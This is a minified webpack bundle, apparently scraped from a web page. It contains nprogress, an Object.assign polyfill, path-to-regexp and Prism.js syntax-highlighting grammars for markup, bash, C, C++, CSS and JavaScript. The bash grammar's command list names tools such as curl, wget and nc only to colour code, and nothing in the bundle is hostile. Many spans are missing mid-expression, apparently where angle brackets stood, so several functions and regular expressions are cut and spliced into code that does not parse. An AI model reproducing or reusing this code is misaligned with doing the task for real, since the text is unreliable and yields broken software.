r&&"resolved"!==r.state()?(0===t&&n.start(),e++,t++,r.always((function(){0==--t?(e=0,n.done()):n.set((e-t)/e)})),this):this},n.render=function(e){if(n.isRendered())return document.getElementById("nprogress");u(document.documentElement,"nprogress-busy");var t=document.createElement("div");t.id="nprogress",t.innerHTML=r.template;var a,i=t.querySelector(r.barSelector),s=e?"-100":o(n.status||0),c=document.querySelector(r.parent);return l(i,{transition:"all 0 linear",transform:"translate3d("+s+"%,0,0)"}),r.showSpinner||(a=t.querySelector(r.spinnerSelector))&&p(a),c!=document.body&&u(c,"nprogress-custom-parent"),c.appendChild(t),t},n.remove=function(){d(document.documentElement,"nprogress-busy"),d(document.querySelector(r.parent),"nprogress-custom-parent");var e=document.getElementById("nprogress");e&&p(e)},n.isRendered=function(){return!!document.getElementById("nprogress")},n.getPositioningCSS=function(){var e=document.body.style,t="WebkitTransform"in e?"Webkit":"MozTransform"in e?"Moz":"msTransform"in e?"ms":"OTransform"in e?"O":"";return t+"Perspective"in e?"translate3d":t+"Transform"in e?"translate":"margin"};var s=function(){var e=[];function t(){var n=e.shift();n&&n(t)}return function(n){e.push(n),1==e.length&&t()}}(),l=function(){var e=["Webkit","O","Moz","ms"],t={};function n(e){return e.replace(/^-ms-/,"ms-").replace(/-([\da-z])/gi,(function(e,t){return t.toUpperCase()}))}function r(t){var n=document.body.style;if(t in n)return t;for(var r,a=e.length,o=t.charAt(0).toUpperCase()+t.slice(1);a--;)if((r=e[a]+o)in n)return r;return t}function a(e){return e=n(e),t[e]||(t[e]=r(e))}function o(e,t,n){t=a(t),e.style[t]=n}return function(e,t){var n,r,a=arguments;if(2==a.length)for(n in t)void 0!==(r=t[n])&&t.hasOwnProperty(n)&&o(e,n,r);else o(e,a[1],a[2])}}();function c(e,t){return("string"==typeof e?e:f(e)).indexOf(" "+t+" ")>=0}function u(e,t){var n=f(e),r=n+t;c(n,t)||(e.className=r.substring(1))}function d(e,t){var n,r=f(e);c(e,t)&&(n=r.replace(" "+t+" "," "),e.className=n.substring(1,n.length-1))}function f(e){return(" "+(e.className||"")+" ").replace(/\s+/gi," ")}function p(e){e&&e.parentNode&&e.parentNode.removeChild(e)}return n},void 0===(a="function"==typeof r?r.call(t,n,t,e):r)||(e.exports=a)},2767:e=>{"use strict";var t=Object.getOwnPropertySymbols,n=Object.prototype.hasOwnProperty,r=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(e){r[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(a){return!1}}()?Object.assign:function(e,a){for(var o,i,s=function(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}(e),l=1;l{var r=n(901);e.exports=p,e.exports.parse=o,e.exports.compile=function(e,t){return s(o(e,t),t)},e.exports.tokensToFunction=s,e.exports.tokensToRegExp=f;var a=new RegExp(["(\\\\.)","([\\/.])?(?:(?:\\:(\\w+)(?:\\(((?:\\\\.|[^\\\\()])+)\\))?|\\(((?:\\\\.|[^\\\\()])+)\\))([+*?])?|(\\*))"].join("|"),"g");function o(e,t){for(var n,r=[],o=0,i=0,s="",u=t&&t.delimiter||"/";null!=(n=a.exec(e));){var d=n[0],f=n[1],p=n.index;if(s+=e.slice(i,p),i=p+d.length,f)s+=f[1];else{var m=e[i],g=n[2],h=n[3],b=n[4],v=n[5],y=n[6],w=n[7];s&&(r.push(s),s="");var E=null!=g&&null!=m&&m!==g,k="+"===y||"*"===y,S="?"===y||"*"===y,_=n[2]||u,x=b||v;r.push({name:h||o++,prefix:g||"",delimiter:_,optional:S,repeat:k,partial:E,asterisk:!!w,pattern:x?c(x):w?".*":"[^"+l(_)+"]+?"})}}return i{"use strict";n.d(t,{Z:()=>o});var r=function(){var e=/(?:^|\s)lang(?:uage)?-([\w-]+)(?=\s|$)/i,t=0,n={},r={util:{encode:function e(t){return t instanceof a?new a(t.type,e(t.content),t.alias):Array.isArray(t)?t.map(e):t.replace(/&/g,"&").replace(/=d.reach);S+=k.value.length,k=k.next){var _=k.value;if(t.length>e.length)return;if(!(_ instanceof a)){var x,C=1;if(v){if(!(x=o(E,S,e,b))||x.index>=e.length)break;var T=x.index,A=x.index+x[0].length,L=S;for(L+=k.value.length;T>=L;)L+=(k=k.next).value.length;if(S=L-=k.value.length,k.value instanceof a)continue;for(var N=k;N!==t.tail&&(Ld.reach&&(d.reach=R);var M=k.prev;if(P&&(M=l(t,M,P),S+=P.length),c(t,M,C),k=l(t,M,new a(f,h?r.tokenize(O,h):O,y,O)),I&&l(t,k,I),C>1){var D={cause:f+","+m,reach:R};i(e,t,n,k.prev,S,D),d&&D.reach>d.reach&&(d.reach=D.reach)}}}}}}function s(){var e={value:null,prev:null,next:null},t={value:null,prev:e,next:null};e.next=t,this.head=e,this.tail=t,this.length=0}function l(e,t,n){var r=t.next,a={value:n,prev:t,next:r};return t.next=a,r.prev=a,e.length++,a}function c(e,t,n){for(var r=t.next,a=0;a"+o.content+""},r}(),a=r;r.default=r,a.languages.markup={comment:{pattern://,greedy:!0},prolog:{pattern:/<\?[\s\S]+?\?>/,greedy:!0},doctype:{pattern:/"'[\]]|"[^"]*"|'[^']*')+(?:\[(?:[^<"'\]]|"[^"]*"|'[^']*'|<(?!!--)|)*\]\s*)?>/i,greedy:!0,inside:{"internal-subset":{pattern:/(^[^\[]*\[)[\s\S]+(?=\]>$)/,lookbehind:!0,greedy:!0,inside:null},string:{pattern:/"[^"]*"|'[^']*'/,greedy:!0},punctuation:/^$|[[\]]/,"doctype-tag":/^DOCTYPE/i,name:/[^\s<>'"]+/}},cdata:{pattern://i,greedy:!0},tag:{pattern:/<\/?(?!\d)[^\s>\/=$<%]+(?:\s(?:\s*[^\s>\/=]+(?:\s*=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+(?=[\s>]))|(?=[\s/>])))+)?\s*\/?>/,greedy:!0,inside:{tag:{pattern:/^<\/?[^\s>\/]+/,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"special-attr":[],"attr-value":{pattern:/=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+)/,inside:{punctuation:[{pattern:/^=/,alias:"attr-equals"},/"|'/]}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:[{pattern:/&[\da-z]{1,8};/i,alias:"named-entity"},/&#x?[\da-f]{1,8};/i]},a.languages.markup.tag.inside["attr-value"].inside.entity=a.languages.markup.entity,a.languages.markup.doctype.inside["internal-subset"].inside=a.languages.markup,a.hooks.add("wrap",(function(e){"entity"===e.type&&(e.attributes.title=e.content.replace(/&/,"&"))})),Object.defineProperty(a.languages.markup.tag,"addInlined",{value:function(e,t){var n={};n["language-"+t]={pattern:/(^$)/i,lookbehind:!0,inside:a.languages[t]},n.cdata=/^$/i;var r={"included-cdata":{pattern://i,inside:n}};r["language-"+t]={pattern:/[\s\S]+/,inside:a.languages[t]};var o={};o[e]={pattern:RegExp(/(<__[^>]*>)(?:))*\]\]>|(?!)/.source.replace(/__/g,(function(){return e})),"i"),lookbehind:!0,greedy:!0,inside:r},a.languages.insertBefore("markup","cdata",o)}}),Object.defineProperty(a.languages.markup.tag,"addAttribute",{value:function(e,t){a.languages.markup.tag.inside["special-attr"].push({pattern:RegExp(/(^|["'\s])/.source+"(?:"+e+")"+/\s*=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+(?=[\s>]))/.source,"i"),lookbehind:!0,inside:{"attr-name":/^[^\s=]+/,"attr-value":{pattern:/=[\s\S]+/,inside:{value:{pattern:/(^=\s*(["']|(?!["'])))\S[\s\S]*(?=\2$)/,lookbehind:!0,alias:[t,"language-"+t],inside:a.languages[t]},punctuation:[{pattern:/^=/,alias:"attr-equals"},/"|'/]}}}})}}),a.languages.html=a.languages.markup,a.languages.mathml=a.languages.markup,a.languages.svg=a.languages.markup,a.languages.xml=a.languages.extend("markup",{}),a.languages.ssml=a.languages.xml,a.languages.atom=a.languages.xml,a.languages.rss=a.languages.xml,function(e){var t="\\b(?:BASH|BASHOPTS|BASH_ALIASES|BASH_ARGC|BASH_ARGV|BASH_CMDS|BASH_COMPLETION_COMPAT_DIR|BASH_LINENO|BASH_REMATCH|BASH_SOURCE|BASH_VERSINFO|BASH_VERSION|COLORTERM|COLUMNS|COMP_WORDBREAKS|DBUS_SESSION_BUS_ADDRESS|DEFAULTS_PATH|DESKTOP_SESSION|DIRSTACK|DISPLAY|EUID|GDMSESSION|GDM_LANG|GNOME_KEYRING_CONTROL|GNOME_KEYRING_PID|GPG_AGENT_INFO|GROUPS|HISTCONTROL|HISTFILE|HISTFILESIZE|HISTSIZE|HOME|HOSTNAME|HOSTTYPE|IFS|INSTANCE|JOB|LANG|LANGUAGE|LC_ADDRESS|LC_ALL|LC_IDENTIFICATION|LC_MEASUREMENT|LC_MONETARY|LC_NAME|LC_NUMERIC|LC_PAPER|LC_TELEPHONE|LC_TIME|LESSCLOSE|LESSOPEN|LINES|LOGNAME|LS_COLORS|MACHTYPE|MAILCHECK|MANDATORY_PATH|NO_AT_BRIDGE|OLDPWD|OPTERR|OPTIND|ORBIT_SOCKETDIR|OSTYPE|PAPERSIZE|PATH|PIPESTATUS|PPID|PS1|PS2|PS3|PS4|PWD|RANDOM|REPLY|SECONDS|SELINUX_INIT|SESSION|SESSIONTYPE|SESSION_MANAGER|SHELL|SHELLOPTS|SHLVL|SSH_AUTH_SOCK|TERM|UID|UPSTART_EVENTS|UPSTART_INSTANCE|UPSTART_JOB|UPSTART_SESSION|USER|WINDOWID|XAUTHORITY|XDG_CONFIG_DIRS|XDG_CURRENT_DESKTOP|XDG_DATA_DIRS|XDG_GREETER_DATA_DIR|XDG_MENU_PREFIX|XDG_RUNTIME_DIR|XDG_SEAT|XDG_SEAT_PATH|XDG_SESSION_DESKTOP|XDG_SESSION_ID|XDG_SESSION_PATH|XDG_SESSION_TYPE|XDG_VTNR|XMODIFIERS)\\b",n={pattern:/(^(["']?)\w+\2)[ \t]+\S.*/,lookbehind:!0,alias:"punctuation",inside:null},r={bash:n,environment:{pattern:RegExp("\\$"+t),alias:"constant"},variable:[{pattern:/\$?\(\([\s\S]+?\)\)/,greedy:!0,inside:{variable:[{pattern:/(^\$\(\([\s\S]+)\)\)/,lookbehind:!0},/^\$\(\(/],number:/\b0x[\dA-Fa-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:[Ee]-?\d+)?/,operator:/--|\+\+|\*\*=?|<<=?|>>=?|&&|\|\||[=!+\-*/%<>^&|]=?|[?~:]/,punctuation:/\(\(?|\)\)?|,|;/}},{pattern:/\$\((?:\([^)]+\)|[^()])+\)|`[^`]+`/,greedy:!0,inside:{variable:/^\$\(|^`|\)$|`$/}},{pattern:/\$\{[^}]+\}/,greedy:!0,inside:{operator:/:[-=?+]?|[!\/]|##?|%%?|\^\^?|,,?/,punctuation:/[\[\]]/,environment:{pattern:RegExp("(\\{)"+t),lookbehind:!0,alias:"constant"}}},/\$(?:\w+|[#?*!@$])/],entity:/\\(?:[abceEfnrtv\\"]|O?[0-7]{1,3}|U[0-9a-fA-F]{8}|u[0-9a-fA-F]{4}|x[0-9a-fA-F]{1,2})/};e.languages.bash={shebang:{pattern:/^#!\s*\/.*/,alias:"important"},comment:{pattern:/(^|[^"{\\$])#.*/,lookbehind:!0},"function-name":[{pattern:/(\bfunction\s+)[\w-]+(?=(?:\s*\(?:\s*\))?\s*\{)/,lookbehind:!0,alias:"function"},{pattern:/\b[\w-]+(?=\s*\(\s*\)\s*\{)/,alias:"function"}],"for-or-select":{pattern:/(\b(?:for|select)\s+)\w+(?=\s+in\s)/,alias:"variable",lookbehind:!0},"assign-left":{pattern:/(^|[\s;|&]|[<>]\()\w+(?=\+?=)/,inside:{environment:{pattern:RegExp("(^|[\\s;|&]|[<>]\\()"+t),lookbehind:!0,alias:"constant"}},alias:"variable",lookbehind:!0},string:[{pattern:/((?:^|[^<])<<-?\s*)(\w+)\s[\s\S]*?(?:\r?\n|\r)\2/,lookbehind:!0,greedy:!0,inside:r},{pattern:/((?:^|[^<])<<-?\s*)(["'])(\w+)\2\s[\s\S]*?(?:\r?\n|\r)\3/,lookbehind:!0,greedy:!0,inside:{bash:n}},{pattern:/(^|[^\\](?:\\\\)*)"(?:\\[\s\S]|\$\([^)]+\)|\$(?!\()|`[^`]+`|[^"\\`$])*"/,lookbehind:!0,greedy:!0,inside:r},{pattern:/(^|[^$\\])'[^']*'/,lookbehind:!0,greedy:!0},{pattern:/\$'(?:[^'\\]|\\[\s\S])*'/,greedy:!0,inside:{entity:r.entity}}],environment:{pattern:RegExp("\\$?"+t),alias:"constant"},variable:r.variable,function:{pattern:/(^|[\s;|&]|[<>]\()(?:add|apropos|apt|apt-cache|apt-get|aptitude|aspell|automysqlbackup|awk|basename|bash|bc|bconsole|bg|bzip2|cal|cat|cfdisk|chgrp|chkconfig|chmod|chown|chroot|cksum|clear|cmp|column|comm|composer|cp|cron|crontab|csplit|curl|cut|date|dc|dd|ddrescue|debootstrap|df|diff|diff3|dig|dir|dircolors|dirname|dirs|dmesg|docker|docker-compose|du|egrep|eject|env|ethtool|expand|expect|expr|fdformat|fdisk|fg|fgrep|file|find|fmt|fold|format|free|fsck|ftp|fuser|gawk|git|gparted|grep|groupadd|groupdel|groupmod|groups|grub-mkconfig|gzip|halt|head|hg|history|host|hostname|htop|iconv|id|ifconfig|ifdown|ifup|import|install|ip|jobs|join|kill|killall|less|link|ln|locate|logname|logrotate|look|lpc|lpr|lprint|lprintd|lprintq|lprm|ls|lsof|lynx|make|man|mc|mdadm|mkconfig|mkdir|mke2fs|mkfifo|mkfs|mkisofs|mknod|mkswap|mmv|more|most|mount|mtools|mtr|mutt|mv|nano|nc|netstat|nice|nl|node|nohup|notify-send|npm|nslookup|op|open|parted|passwd|paste|pathchk|ping|pkill|pnpm|podman|podman-compose|popd|pr|printcap|printenv|ps|pushd|pv|quota|quotacheck|quotactl|ram|rar|rcp|reboot|remsync|rename|renice|rev|rm|rmdir|rpm|rsync|scp|screen|sdiff|sed|sendmail|seq|service|sftp|sh|shellcheck|shuf|shutdown|sleep|slocate|sort|split|ssh|stat|strace|su|sudo|sum|suspend|swapon|sync|tac|tail|tar|tee|time|timeout|top|touch|tr|traceroute|tsort|tty|umount|uname|unexpand|uniq|units|unrar|unshar|unzip|update-grub|uptime|useradd|userdel|usermod|users|uudecode|uuencode|v|vcpkg|vdir|vi|vim|virsh|vmstat|wait|watch|wc|wget|whereis|which|who|whoami|write|xargs|xdg-open|yarn|yes|zenity|zip|zsh|zypper)(?=$|[)\s;|&])/,lookbehind:!0},keyword:{pattern:/(^|[\s;|&]|[<>]\()(?:case|do|done|elif|else|esac|fi|for|function|if|in|select|then|until|while)(?=$|[)\s;|&])/,lookbehind:!0},builtin:{pattern:/(^|[\s;|&]|[<>]\()(?:\.|:|alias|bind|break|builtin|caller|cd|command|continue|declare|echo|enable|eval|exec|exit|export|getopts|hash|help|let|local|logout|mapfile|printf|pwd|read|readarray|readonly|return|set|shift|shopt|source|test|times|trap|type|typeset|ulimit|umask|unalias|unset)(?=$|[)\s;|&])/,lookbehind:!0,alias:"class-name"},boolean:{pattern:/(^|[\s;|&]|[<>]\()(?:false|true)(?=$|[)\s;|&])/,lookbehind:!0},"file-descriptor":{pattern:/\B&\d\b/,alias:"important"},operator:{pattern:/\d?<>|>\||\+=|=[=~]?|!=?|<<[<-]?|[&\d]?>>|\d[<>]&?|[<>][&=]?|&[>&]?|\|[&|]?/,inside:{"file-descriptor":{pattern:/^\d/,alias:"important"}}},punctuation:/\$?\(\(?|\)\)?|\.\.|[{}[\];\\]/,number:{pattern:/(^|\s)(?:[1-9]\d*|0)(?:[.,]\d+)?\b/,lookbehind:!0}},n.inside=e.languages.bash;for(var a=["comment","function-name","for-or-select","assign-left","string","environment","function","keyword","builtin","boolean","file-descriptor","operator","punctuation","number"],o=r.variable[1].inside,i=0;i]=?|[!=]=?=?|--?|\+\+?|&&?|\|\|?|[?*/~^%]/,punctuation:/[{}[\];(),.:]/},a.languages.c=a.languages.extend("clike",{comment:{pattern:/\/\/(?:[^\r\n\\]|\\(?:\r\n?|\n|(?![\r\n])))*|\/\*[\s\S]*?(?:\*\/|$)/,greedy:!0},string:{pattern:/"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"/,greedy:!0},"class-name":{pattern:/(\b(?:enum|struct)\s+(?:__attribute__\s*\(\([\s\S]*?\)\)\s*)?)\w+|\b[a-z]\w*_t\b/,lookbehind:!0},keyword:/\b(?:_Alignas|_Alignof|_Atomic|_Bool|_Complex|_Generic|_Imaginary|_Noreturn|_Static_assert|_Thread_local|__attribute__|asm|auto|break|case|char|const|continue|default|do|double|else|enum|extern|float|for|goto|if|inline|int|long|register|return|short|signed|sizeof|static|struct|switch|typedef|typeof|union|unsigned|void|volatile|while)\b/,function:/\b[a-z_]\w*(?=\s*\()/i,number:/(?:\b0x(?:[\da-f]+(?:\.[\da-f]*)?|\.[\da-f]+)(?:p[+-]?\d+)?|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?)[ful]{0,4}/i,operator:/>>=?|<<=?|->|([-+&|:])\1|[?:~]|[-+*/%&|^!=<>]=?/}),a.languages.insertBefore("c","string",{char:{pattern:/'(?:\\(?:\r\n|[\s\S])|[^'\\\r\n]){0,32}'/,greedy:!0}}),a.languages.insertBefore("c","string",{macro:{pattern:/(^[\t ]*)#\s*[a-z](?:[^\r\n\\/]|\/(?!\*)|\/\*(?:[^*]|\*(?!\/))*\*\/|\\(?:\r\n|[\s\S]))*/im,lookbehind:!0,greedy:!0,alias:"property",inside:{string:[{pattern:/^(#\s*include\s*)<[^>]+>/,lookbehind:!0},a.languages.c.string],char:a.languages.c.char,comment:a.languages.c.comment,"macro-name":[{pattern:/(^#\s*define\s+)\w+\b(?!\()/i,lookbehind:!0},{pattern:/(^#\s*define\s+)\w+\b(?=\()/i,lookbehind:!0,alias:"function"}],directive:{pattern:/^(#\s*)[a-z]+/,lookbehind:!0,alias:"keyword"},"directive-hash":/^#/,punctuation:/##|\\(?=[\r\n])/,expression:{pattern:/\S[\s\S]*/,inside:a.languages.c}}}}),a.languages.insertBefore("c","function",{constant:/\b(?:EOF|NULL|SEEK_CUR|SEEK_END|SEEK_SET|__DATE__|__FILE__|__LINE__|__TIMESTAMP__|__TIME__|__func__|stderr|stdin|stdout)\b/}),delete a.languages.c.boolean,function(e){var t=/\b(?:alignas|alignof|asm|auto|bool|break|case|catch|char|char16_t|char32_t|char8_t|class|co_await|co_return|co_yield|compl|concept|const|const_cast|consteval|constexpr|constinit|continue|decltype|default|delete|do|double|dynamic_cast|else|enum|explicit|export|extern|final|float|for|friend|goto|if|import|inline|int|int16_t|int32_t|int64_t|int8_t|long|module|mutable|namespace|new|noexcept|nullptr|operator|override|private|protected|public|register|reinterpret_cast|requires|return|short|signed|sizeof|static|static_assert|static_cast|struct|switch|template|this|thread_local|throw|try|typedef|typeid|typename|uint16_t|uint32_t|uint64_t|uint8_t|union|unsigned|using|virtual|void|volatile|wchar_t|while)\b/,n=/\b(?!)\w+(?:\s*\.\s*\w+)*\b/.source.replace(//g,(function(){return t.source}));e.languages.cpp=e.languages.extend("c",{"class-name":[{pattern:RegExp(/(\b(?:class|concept|enum|struct|typename)\s+)(?!)\w+/.source.replace(//g,(function(){return t.source}))),lookbehind:!0},/\b[A-Z]\w*(?=\s*::\s*\w+\s*\()/,/\b[A-Z_]\w*(?=\s*::\s*~\w+\s*\()/i,/\b\w+(?=\s*<(?:[^<>]|<(?:[^<>]|<[^<>]*>)*>)*>\s*::\s*\w+\s*\()/],keyword:t,number:{pattern:/(?:\b0b[01']+|\b0x(?:[\da-f']+(?:\.[\da-f']*)?|\.[\da-f']+)(?:p[+-]?[\d']+)?|(?:\b[\d']+(?:\.[\d']*)?|\B\.[\d']+)(?:e[+-]?[\d']+)?)[ful]{0,4}/i,greedy:!0},operator:/>>=?|<<=?|->|--|\+\+|&&|\|\||[?:~]|<=>|[-+*/%&|^!=<>]=?|\b(?:and|and_eq|bitand|bitor|not|not_eq|or|or_eq|xor|xor_eq)\b/,boolean:/\b(?:false|true)\b/}),e.languages.insertBefore("cpp","string",{module:{pattern:RegExp(/(\b(?:import|module)\s+)/.source+"(?:"+/"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"|<[^<>\r\n]*>/.source+"|"+/(?:\s*:\s*)?|:\s*/.source.replace(//g,(function(){return n}))+")"),lookbehind:!0,greedy:!0,inside:{string:/^[<"][\s\S]+/,operator:/:/,punctuation:/\./}},"raw-string":{pattern:/R"([^()\\ ]{0,16})\([\s\S]*?\)\1"/,alias:"string",greedy:!0}}),e.languages.insertBefore("cpp","keyword",{"generic-function":{pattern:/\b(?!operator\b)[a-z_]\w*\s*<(?:[^<>]|<[^<>]*>)*>(?=\s*\()/i,inside:{function:/^\w+/,generic:{pattern:/<[\s\S]+/,alias:"class-name",inside:e.languages.cpp}}}}),e.languages.insertBefore("cpp","operator",{"double-colon":{pattern:/::/,alias:"punctuation"}}),e.languages.insertBefore("cpp","class-name",{"base-clause":{pattern:/(\b(?:class|struct)\s+\w+\s*:\s*)[^;{}"'\s]+(?:\s+[^;{}"'\s]+)*(?=\s*[;{])/,lookbehind:!0,greedy:!0,inside:e.languages.extend("cpp",{})}}),e.languages.insertBefore("inside","double-colon",{"class-name":/\b[a-z_]\w*\b(?!\s*::)/i},e.languages.cpp["base-clause"])}(a),function(e){var t=/(?:"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"|'(?:\\(?:\r\n|[\s\S])|[^'\\\r\n])*')/;e.languages.css={comment:/\/\*[\s\S]*?\*\//,atrule:{pattern:/@[\w-](?:[^;{\s]|\s+(?![\s{]))*(?:;|(?=\s*\{))/,inside:{rule:/^@[\w-]+/,"selector-function-argument":{pattern:/(\bselector\s*\(\s*(?![\s)]))(?:[^()\s]|\s+(?![\s)])|\((?:[^()]|\([^()]*\))*\))+(?=\s*\))/,lookbehind:!0,alias:"selector"},keyword:{pattern:/(^|[^\w-])(?:and|not|only|or)(?![\w-])/,lookbehind:!0}}},url:{pattern:RegExp("\\burl\\((?:"+t.source+"|"+/(?:[^\\\r\n()"']|\\[\s\S])*/.source+")\\)","i"),greedy:!0,inside:{function:/^url/i,punctuation:/^\(|\)$/,string:{pattern:RegExp("^"+t.source+"$"),alias:"url"}}},selector:{pattern:RegExp("(^|[{}\\s])[^{}\\s](?:[^{};\"'\\s]|\\s+(?![\\s{])|"+t.source+")*(?=\\s*\\{)"),lookbehind:!0},string:{pattern:t,greedy:!0},property:{pattern:/(^|[^-\w\xA0-\uFFFF])(?!\s)[-_a-z\xA0-\uFFFF](?:(?!\s)[-\w\xA0-\uFFFF])*(?=\s*:)/i,lookbehind:!0},important:/!important\b/i,function:{pattern:/(^|[^-a-z0-9])[-a-z0-9]+(?=\()/i,lookbehind:!0},punctuation:/[(){};:,]/},e.languages.css.atrule.inside.rest=e.languages.css;var n=e.languages.markup;n&&(n.tag.addInlined("style","css"),n.tag.addAttribute("style","css"))}(a),function(e){var t,n=/("|')(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/;e.languages.css.selector={pattern:e.languages.css.selector.pattern,lookbehind:!0,inside:t={"pseudo-element":/:(?:after|before|first-letter|first-line|selection)|::[-\w]+/,"pseudo-class":/:[-\w]+/,class:/\.[-\w]+/,id:/#[-\w]+/,attribute:{pattern:RegExp("\\[(?:[^[\\]\"']|"+n.source+")*\\]"),greedy:!0,inside:{punctuation:/^\[|\]$/,"case-sensitivity":{pattern:/(\s)[si]$/i,lookbehind:!0,alias:"keyword"},namespace:{pattern:/^(\s*)(?:(?!\s)[-*\w\xA0-\uFFFF])*\|(?!=)/,lookbehind:!0,inside:{punctuation:/\|$/}},"attr-name":{pattern:/^(\s*)(?:(?!\s)[-\w\xA0-\uFFFF])+/,lookbehind:!0},"attr-value":[n,{pattern:/(=\s*)(?:(?!\s)[-\w\xA0-\uFFFF])+(?=\s*$)/,lookbehind:!0}],operator:/[|~*^$]?=/}},"n-th":[{pattern:/(\(\s*)[+-]?\d*[\dn](?:\s*[+-]\s*\d+)?(?=\s*\))/,lookbehind:!0,inside:{number:/[\dn]+/,operator:/[+-]/}},{pattern:/(\(\s*)(?:even|odd)(?=\s*\))/i,lookbehind:!0}],combinator:/>|\+|~|\|\|/,punctuation:/[(),]/}},e.languages.css.atrule.inside["selector-function-argument"].inside=t,e.languages.insertBefore("css","property",{variable:{pattern:/(^|[^-\w\xA0-\uFFFF])--(?!\s)[-_a-z\xA0-\uFFFF](?:(?!\s)[-\w\xA0-\uFFFF])*/i,lookbehind:!0}});var r={pattern:/(\b\d+)(?:%|[a-z]+(?![\w-]))/,lookbehind:!0},a={pattern:/(^|[^\w.-])-?(?:\d+(?:\.\d+)?|\.\d+)/,lookbehind:!0};e.languages.insertBefore("css","function",{operator:{pattern:/(\s)[+\-*\/](?=\s)/,lookbehind:!0},hexcode:{pattern:/\B#[\da-f]{3,8}\b/i,alias:"color"},color:[{pattern:/(^|[^\w-])(?:AliceBlue|AntiqueWhite|Aqua|Aquamarine|Azure|Beige|Bisque|Black|BlanchedAlmond|Blue|BlueViolet|Brown|BurlyWood|CadetBlue|Chartreuse|Chocolate|Coral|CornflowerBlue|Cornsilk|Crimson|Cyan|DarkBlue|DarkCyan|DarkGoldenRod|DarkGr[ae]y|DarkGreen|DarkKhaki|DarkMagenta|DarkOliveGreen|DarkOrange|DarkOrchid|DarkRed|DarkSalmon|DarkSeaGreen|DarkSlateBlue|DarkSlateGr[ae]y|DarkTurquoise|DarkViolet|DeepPink|DeepSkyBlue|DimGr[ae]y|DodgerBlue|FireBrick|FloralWhite|ForestGreen|Fuchsia|Gainsboro|GhostWhite|Gold|GoldenRod|Gr[ae]y|Green|GreenYellow|HoneyDew|HotPink|IndianRed|Indigo|Ivory|Khaki|Lavender|LavenderBlush|LawnGreen|LemonChiffon|LightBlue|LightCoral|LightCyan|LightGoldenRodYellow|LightGr[ae]y|LightGreen|LightPink|LightSalmon|LightSeaGreen|LightSkyBlue|LightSlateGr[ae]y|LightSteelBlue|LightYellow|Lime|LimeGreen|Linen|Magenta|Maroon|MediumAquaMarine|MediumBlue|MediumOrchid|MediumPurple|MediumSeaGreen|MediumSlateBlue|MediumSpringGreen|MediumTurquoise|MediumVioletRed|MidnightBlue|MintCream|MistyRose|Moccasin|NavajoWhite|Navy|OldLace|Olive|OliveDrab|Orange|OrangeRed|Orchid|PaleGoldenRod|PaleGreen|PaleTurquoise|PaleVioletRed|PapayaWhip|PeachPuff|Peru|Pink|Plum|PowderBlue|Purple|Red|RosyBrown|RoyalBlue|SaddleBrown|Salmon|SandyBrown|SeaGreen|SeaShell|Sienna|Silver|SkyBlue|SlateBlue|SlateGr[ae]y|Snow|SpringGreen|SteelBlue|Tan|Teal|Thistle|Tomato|Transparent|Turquoise|Violet|Wheat|White|WhiteSmoke|Yellow|YellowGreen)(?![\w-])/i,lookbehind:!0},{pattern:/\b(?:hsl|rgb)\(\s*\d{1,3}\s*,\s*\d{1,3}%?\s*,\s*\d{1,3}%?\s*\)\B|\b(?:hsl|rgb)a\(\s*\d{1,3}\s*,\s*\d{1,3}%?\s*,\s*\d{1,3}%?\s*,\s*(?:0|0?\.\d+|1)\s*\)\B/i,inside:{unit:r,number:a,function:/[\w-]+(?=\()/,punctuation:/[(),]/}}],entity:/\\[\da-f]{1,8}/i,unit:r,number:a})}(a),a.languages.javascript=a.languages.extend("clike",{"class-name":[a.languages.clike["class-name"],{pattern:/(^|[^$\w\xA0-\uFFFF])(?!\s)[_$A-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\.(?:constructor|prototype))/,lookbehind:!0}],keyword:[{pattern:/((?:^|\})\s*)catch\b/,lookbehind:!0},{pattern:/(^|[^.]|\.\.\.\s*)\b(?:as|assert(?=\s*\{)|async(?=\s*(?:function\b|\(|[$\w\xA0-\uFFFF]|$))|await|break|case|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally(?=\s*(?:\{|$))|for|from(?=\s*(?:['"]|$))|function|(?:get|set)(?=\s*(?:[#\[$\w\xA0-\uFFFF]|$))|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)\b/,lookbehind:!0}],function:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*(?:\.\s*(?:apply|bind|call)\s*)?\()/,number:{pattern:RegExp(/(^|[^\w$])/.source+"(?:"+/NaN|Infinity/.source+"|"+/0[bB][01]+(?:_[01]+)*n?/.source+"|"+/0[oO][0-7]+(?:_[0-7]+)*n?/.source+"|"+/0[xX][\dA-Fa-f]+(?:_[\dA-Fa-f]+)*n?/.source+"|"+/\d+(?:_\d+)*n/.source+"|"+/(?:\d+(?:_\d+)*(?:\.(?:\d+(?:_\d+)*)?)?|\.\d+(?:_\d+)*)(?:[Ee][+-]?\d+(?:_\d+)*)?/.source+")"+/(?![\w$])/.source),lookbehind:!0},operator:/--|\+\+|\*\*=?|=>|&&=?|\|\|=?|[!=]==|<<=?|>>>?=?|[-+*/%&|^!=<>]=?|\.{3}|\?\?